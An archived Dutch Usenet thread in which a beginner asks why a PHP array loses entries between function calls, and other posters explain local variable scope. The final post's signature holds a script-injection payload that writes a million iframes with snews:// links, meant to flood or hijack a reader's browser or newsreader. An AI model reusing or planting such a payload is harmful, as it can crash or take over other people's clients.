PDA

Bekijk Volledige Versie : werken met een array in PHP



Piet
03/12/04, 13:45
Hoi,

Ik probeer een meerdimensionale array te vullen in een functie.
de array is gedefinieerd als global $lijst.
Bij een aanvulling wordt de array in de functie weer leeggemaakt.
Dus:
Vullen in de functie: $Lijst[1][Naam] = "Piet"
Bij een tweede aanroep vullen van de functie $Lijst[2][Naam]="Klaas" werkt
ook, maar dan is $Lijst[1][Naam] leeg.
Hoe kan ik dit voorkomen?
Weet iemand raad?

Groet,

Piet

Daniel Tryba
03/12/04, 14:15
Piet <p.potjer@chello.nl> wrote:
> Vullen in de functie: $Lijst[1][Naam] = "Piet"
> Bij een tweede aanroep vullen van de functie $Lijst[2][Naam]="Klaas" werkt
> ook, maar dan is $Lijst[1][Naam] leeg.
> Hoe kan ik dit voorkomen?
> Weet iemand raad?

De code die je laat zien is correct, maar dat zegt niets over de
correctheid van deze code in je scipt... MAW toon een zinnig maar
beknopt voorbeeld waarmee je je probleem kan reproduceren.

Piet
03/12/04, 14:55
Leesnamen(1,1);

print (Lijst[1]["Naam"] ); (resultaat ® Piet)



Leesnamen (2,2)

print (Lijst[1]["Naam"] (resultaat ® Leeg)

print (Lijst[2]["Naam"] (resultaat ® Klaas)



Function LeesNamen($idnr, $m) {

$x=False; // Variabele laat while lus niet onnodig lang
doorlopen

//stel de variabelen voor de toegang tot de database in

$Host = "localhost";

$Gebruiker = "User";

$Wachtwoord = "";

$DBNaam = "Parenteel";

$Tabelnaam="familieleden";

$Verbinding=mysql_connect($Host, $Gebruiker, $Wachtwoord);

$Opdracht = "Select * from $Tabelnaam";

$Resultaat =mysql_db_query ($DBNaam, $Opdracht, $Verbinding);

//Haal de resultaten uit de database

while (($Rij = mysql_fetch_array ($Resultaat)) && ($x==FALSE)) {

if ($Rij[id]==$idnr) {

$Lijst[$m]["Naam"]=$Rij[Naam];

..

$x=True;

}

}

$x=False;

mysql_close($Verbinding);

return ($Lijst);

}
"Daniel Tryba" <spam@tryba.invalid> schreef in bericht
news:41b06618$0$15371$e4fe514c@dreader3.news.xs4al l.nl...
> Piet <p.potjer@chello.nl> wrote:
>> Vullen in de functie: $Lijst[1][Naam] = "Piet"
>> Bij een tweede aanroep vullen van de functie $Lijst[2][Naam]="Klaas"
>> werkt
>> ook, maar dan is $Lijst[1][Naam] leeg.
>> Hoe kan ik dit voorkomen?
>> Weet iemand raad?
>
> De code die je laat zien is correct, maar dat zegt niets over de
> correctheid van deze code in je scipt... MAW toon een zinnig maar
> beknopt voorbeeld waarmee je je probleem kan reproduceren.
>

Daniel Tryba
03/12/04, 15:15
Piet <p.potjer@chello.nl> wrote:

Lees eerst: http://www.leerquoten.nl/

> Leesnamen(1,1);
>
> print (Lijst[1]["Naam"] ); (resultaat ? Piet)
>
>
>
> Leesnamen (2,2)
>
> print (Lijst[1]["Naam"] (resultaat ? Leeg)
>
> print (Lijst[2]["Naam"] (resultaat ? Klaas)
>
>
>
> Function LeesNamen($idnr, $m) {
....
> while (($Rij = mysql_fetch_array ($Resultaat)) && ($x==FALSE)) {
> if ($Rij[id]==$idnr) {
> $Lijst[$m]["Naam"]=$Rij[Naam];
> ..
> $x=True;
> }
> }
> $x=False;
> mysql_close($Verbinding);
> return ($Lijst);
> }

Code functioneerd naar verwachting. een nieuw array wordt geretouneerd.
zie http://nl2.php.net/manual/en/language.variables.scope.php

Branko Collin
03/12/04, 18:15
"Piet" <p.potjer@chello.nl>, you wrote on Fri, 03 Dec 2004 12:44:52
GMT:

>Ik probeer een meerdimensionale array te vullen in een functie.
>de array is gedefinieerd als global $lijst.
>Bij een aanvulling wordt de array in de functie weer leeggemaakt.
>Dus:
>Vullen in de functie: $Lijst[1][Naam] = "Piet"
>Bij een tweede aanroep vullen van de functie $Lijst[2][Naam]="Klaas" werkt
>ook, maar dan is $Lijst[1][Naam] leeg.
>Hoe kan ik dit voorkomen?

Dat zou niet mogen gebeuren. Kun je een stukje code laten zien?

(Overigens neem ik aan dat je de constante Naam ergens hebt
gedefinieerd?)

--
Deze geheele aarde door ijzeren banden omspannen, met de
stoomvaartlijnen die als draden over de zeeën zijn getrokken,
Dezen wereldkloot in zijn tuimeling door het heelal breng ik U.
"Grashalmen", Walt Whitman, binnenkort op www.gutenberg.net

Branko Collin
03/12/04, 22:25
"Piet" <p.potjer@chello.nl>, you wrote on Fri, 03 Dec 2004 13:49:40
GMT:

>Leesnamen(1,1);
>print (Lijst[1]["Naam"] ); (resultaat ® Piet)

Lijst[1]["naam"] zou volgens mij een foutmelding moeten opleveren.
$Lijst[1]["naam"] is een variabele.

>Function LeesNamen($idnr, $m) {
>
> $x=False; // Variabele laat while lus niet onnodig lang doorlopen
> //stel de variabelen voor de toegang tot de database in
> $Host = "localhost";
> $Gebruiker = "User";
> $Wachtwoord = "";
> $DBNaam = "Parenteel";
> $Tabelnaam="familieleden";
> $Verbinding=mysql_connect($Host, $Gebruiker, $Wachtwoord);
> $Opdracht = "Select * from $Tabelnaam";
> $Resultaat =mysql_db_query ($DBNaam, $Opdracht, $Verbinding);
>
> //Haal de resultaten uit de database
> while (($Rij = mysql_fetch_array ($Resultaat)) && ($x==FALSE)) {
> if ($Rij[id]==$idnr) {
> $Lijst[$m]["Naam"]=$Rij[Naam];
> ..
> $x=True;
> }
> }
> $x=False;
> mysql_close($Verbinding);
> return ($Lijst);

Je definieert nergens wat $Lijst is. Binnen LeesNamen is $Lijst
lokaal.

Overigens is het enige rijelement wat je vult in LeesNamen
$Lijst[2]["Naam"] ($m verandert nergens).

Verder doet het statement "$x = False" na de whilelus weinig (wordt $x
verderop nog ergens gebruikt?).

--
Deze geheele aarde door ijzeren banden omspannen, met de
stoomvaartlijnen die als draden over de zeeën zijn getrokken,
Dezen wereldkloot in zijn tuimeling door het heelal breng ik U.
"Grashalmen", Walt Whitman, binnenkort op www.gutenberg.net

Hans
05/12/04, 23:35
On Fri, 03 Dec 2004 22:31:54 +0100, Branko Collin <collin@xs4all.nl> wrote:
> "Piet" <p.potjer@chello.nl>, you wrote on Fri, 03 Dec 2004 13:49:40
> GMT:
>
>>Leesnamen(1,1);
>>print (Lijst[1]["Naam"] ); (resultaat ® Piet)
>
> Lijst[1]["naam"] zou volgens mij een foutmelding moeten opleveren.
> $Lijst[1]["naam"] is een variabele.

Volgens mij is dat alleen binnen super globals. Beetje afhankelijk van
je instellingen. In dat geval zou je $lijst als array moeten declareren.

Hans

--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>